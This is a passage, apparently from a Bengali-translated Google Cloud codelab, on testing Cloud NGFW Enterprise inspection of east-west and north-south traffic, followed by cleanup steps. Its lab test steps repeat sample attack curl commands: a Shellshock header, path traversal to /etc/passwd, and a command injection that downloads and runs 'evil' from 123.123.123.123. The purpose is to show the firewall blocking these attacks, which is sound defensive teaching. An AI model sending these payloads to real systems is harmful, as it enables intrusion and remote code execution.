৭. ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজ পরিদর্শন নিয়মাবলী

একটি নতুন ট্যাব খুলুন এবং IAP-এর মাধ্যমে ক্লায়েন্ট VM-এ একটি SSH সংযোগ শুরু করুন (নতুন ট্যাবে আপনাকে ভেরিয়েবলগুলো আবার নির্ধারণ করতে হবে):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

SSH সেশনে প্রয়োজনীয় ভেরিয়েবলগুলো নির্ধারণ করুন এবং ভেরিয়েবলগুলো সেট করুন (নিশ্চিত করুন যে মানগুলো সঠিক):

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

উভয় আইপি অ্যাক্সেসযোগ্য কিনা তা নিশ্চিত করতে curl ব্যবহার করুন:

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

উভয় কার্ল অনুরোধের জন্য প্রত্যাশিত ফলাফল:

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

অভ্যন্তরীণ সার্ভার আইপি-তে নমুনা আক্রমণ পাঠান (ইস্ট-ওয়েস্ট / ইন্ট্রা-ভিপিসি ট্র্যাফিক)। ওয়েব সার্ভারকে অবশ্যই সমস্ত অনুরোধের উত্তর দিতে হবে, যা নিশ্চিত করবে যে সেখানে কোনো L7 পরিদর্শন/প্রতিরোধ ব্যবস্থা নেই:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

ক্লাউড ন্যাটের (নর্থ-সাউথ ইনবাউন্ড ট্র্যাফিক) মাধ্যমে নমুনা অ্যাটাকগুলো এক্সটার্নাল সার্ভার আইপিতে পুনরায় পাঠান, এবং একইভাবে ওয়েব সার্ভারটিরও সকল অনুরোধের জবাব দেওয়া উচিত:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

পাবলিক ও প্রাইভেট উভয় আইপি-র জন্য প্রত্যাশিত ফলাফল:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

ক্লাউড শেলে ফিরে যান এবং L7 ইন্সপেকশন সক্ষম করতে বিদ্যমান ইনগ্রেস নিয়মগুলি আপডেট করুন:

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

ঐচ্ছিকভাবে, উভয়ই সফলভাবে আপডেট হয়েছে কিনা তা যাচাই করার জন্য ফায়ারওয়াল নিয়মগুলো বর্ণনা করুন:

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

প্রত্যাশিত আউটপুট:

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

নিয়ম ৭০০০:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

প্রত্যাশিত আউটপুট:

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

ক্লায়েন্ট ভিএম-এ ফিরে যান এবং অভ্যন্তরীণ সার্ভার আইপি-তে নমুনা আক্রমণগুলি পুনরায় পাঠান (ইস্ট-ওয়েস্ট / ইন্ট্রা-ভিপিসি পরিদর্শন):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

ক্লাউড NAT (নর্থ-সাউথ ইনবাউন্ড ইন্সপেকশন)-এর মাধ্যমে নমুনা আক্রমণগুলি বাহ্যিক সার্ভার IP-তে পুনরায় পাঠান:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

নিচের প্রত্যাশিত আউটপুট অনুযায়ী প্রথম আক্রমণগুলোর জন্য কোনো প্রতিক্রিয়া পাওয়া যায়নি, যা নিশ্চিত করে যে উচ্চ তীব্রতার আক্রমণগুলো এখন অবরুদ্ধ করা হচ্ছে।

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

লগগুলি যাচাই করতে ক্লাউড কনসোলে নেটওয়ার্ক সিকিউরিটি > থ্রেটস-এ যান (আক্রমণগুলি এখনও প্রদর্শিত না হলে আপনাকে কয়েকবার রিফ্রেশ করতে হতে পারে)।

daa535fcc34873aa.png

আক্রমণগুলোর মধ্যে একটি বেছে নিন এবং ডানদিকে থাকা "অডিট লগ দেখুন"-এ ক্লিক করুন (সহজে আগের অবস্থায় ফিরে যাওয়ার জন্য এটি একটি নতুন ট্যাবে খুলবে)। বিস্তারিত দেখতে আক্রমণটি প্রসারিত করুন:

5f97cdef79e42eff.png

ঐচ্ছিকভাবে, লগ এক্সপ্লোরার ফিল্টারটি নিচের কোয়েরি দিয়ে প্রতিস্থাপন করুন:

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

থ্রেট লগ এন্ট্রিগুলো নিম্নরূপ দেখা যাবে:

5ea9581a7eb694c5.png

নিচের লগ এক্সপ্লোরার ফিল্টারটি ব্যবহার করে ক্লাউড ফায়ারওয়াল দ্বারা আটকানো প্যাকেটগুলি যাচাই করা যেতে পারে (সমস্যা সমাধানের জন্য সহায়ক):

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png

ইন্টারনেট ট্র্যাফিক পরিদর্শন চালিয়ে যান (ঐচ্ছিক) অথবা SSH সেশনটি বন্ধ করে পরিষ্করণ ধাপগুলোর জন্য পরবর্তী অধ্যায়ে যান।

[ঐচ্ছিক] ইন্টারনেট ট্র্যাফিক পরিদর্শন

পূর্ববর্তী বিভাগে যেমন যাচাই করা হয়েছে, এখন পর্যন্ত পরিদর্শন করা ফ্লোগুলো হলো ইন্ট্রা-সাবনেট/VPC (পূর্ব-পশ্চিম) এবং ইন্টারনেট থেকে আগত ট্র্যাফিক (উত্তর-দক্ষিণ ইনবাউন্ড)। ক্লাউড শেল ব্যবহার করে একটি নতুন ইগ্রেস রুল তৈরি করার মাধ্যমে ক্লাউড NGFW এন্টারপ্রাইজকে সমস্ত ইন্টারনেট ট্র্যাফিক (উত্তর-দক্ষিণ আউটবাউন্ড) পরিদর্শন করার জন্যও কনফিগার করা যেতে পারে:

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

ক্লায়েন্ট ভিএম-এ ফিরে যান এবং বাহ্যিক সার্ভার আইপি-তে উচ্চ তীব্রতার আক্রমণগুলি পুনরায় পাঠান:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

প্রত্যাশিত আউটপুট:

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

লগগুলি যাচাই করতে ক্লাউড কনসোলের থ্রেটস ট্যাবে যান (আপনাকে কয়েকবার রিফ্রেশ করতে হতে পারে)। আক্রমণগুলি আবার শনাক্ত এবং লগ করা হয়ে থাকার কথা, কিন্তু এখন সোর্স আইপিটি ইন্টারনাল, কারণ প্রথমে একটি ইগ্রেস রুল ট্রিগার হচ্ছে:

36f8edf264dcddcd.png

SSH সেশনটি বন্ধ করুন এবং পরিষ্করণ ধাপগুলোর জন্য পরবর্তী বিভাগে যান।

৮. পরিষ্কার করার পদক্ষেপ

ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজ কম্পোনেন্টস ক্লিন-আপ

বিদ্যমান ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজ অ্যাসোসিয়েশনগুলির তালিকা দিন:

gcloud network-security firewall-endpoint-associations list

ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজ অ্যাসোসিয়েশনটি মুছে ফেলুন:

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list

বিদ্যমান ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজ এন্ডপয়েন্টগুলির তালিকা:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজ এন্ডপয়েন্টটি ডিলিট করুন, যাতে প্রায় ২০ মিনিট সময় লাগতে পারে:

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

নিচের কমান্ডটি চালিয়ে ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজটি মুছে ফেলা হয়েছে কিনা তা নিশ্চিত করুন:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

নিরাপত্তা প্রোফাইল গ্রুপ এবং হুমকি প্রতিরোধ প্রোফাইল মুছে ফেলুন:

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

বেস সেটআপ পরিষ্কার করা

আপনি যদি মূল রিসোর্সগুলো মুছে ফেলতে চান, তাহলে পরবর্তী ধাপে এগিয়ে যান।

প্রয়োজনে এনভায়রনমেন্ট ভেরিয়েবলগুলো নির্ধারণ করুন। ক্লাউড শেল থেকে নেটওয়ার্ক লোড ব্যালেন্সার কম্পোনেন্টগুলো ডিলিট করুন:

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

দৃষ্টান্তগুলি সরান:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

যদি tagAdmin এবং tagUsers রোলগুলি পরিবর্তন করা হয়ে থাকে, তবে ঐচ্ছিকভাবে নিচের ধাপগুলি অনুসরণ করুন:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

ট্যাগ কী এবং মানগুলি সরান:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

ক্লাউড ফায়ারওয়াল নেটওয়ার্ক পলিসি এবং অ্যাসোসিয়েশনটি মুছে ফেলুন:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

ক্লাউড রাউটার এবং ক্লাউড NAT মুছে ফেলুন:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

সংরক্ষিত আইপি ঠিকানাগুলি মুছে ফেলুন:

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

অবশেষে, সাবনেট এবং ভিপিসি নেটওয়ার্ক মুছে ফেলুন:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

৯. অভিনন্দন!

অভিনন্দন, আপনি সফলভাবে পূর্ব-পশ্চিম এবং উত্তর-দক্ষিণ পরিদর্শন কোডল্যাবের জন্য ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজটি সম্পন্ন করেছেন।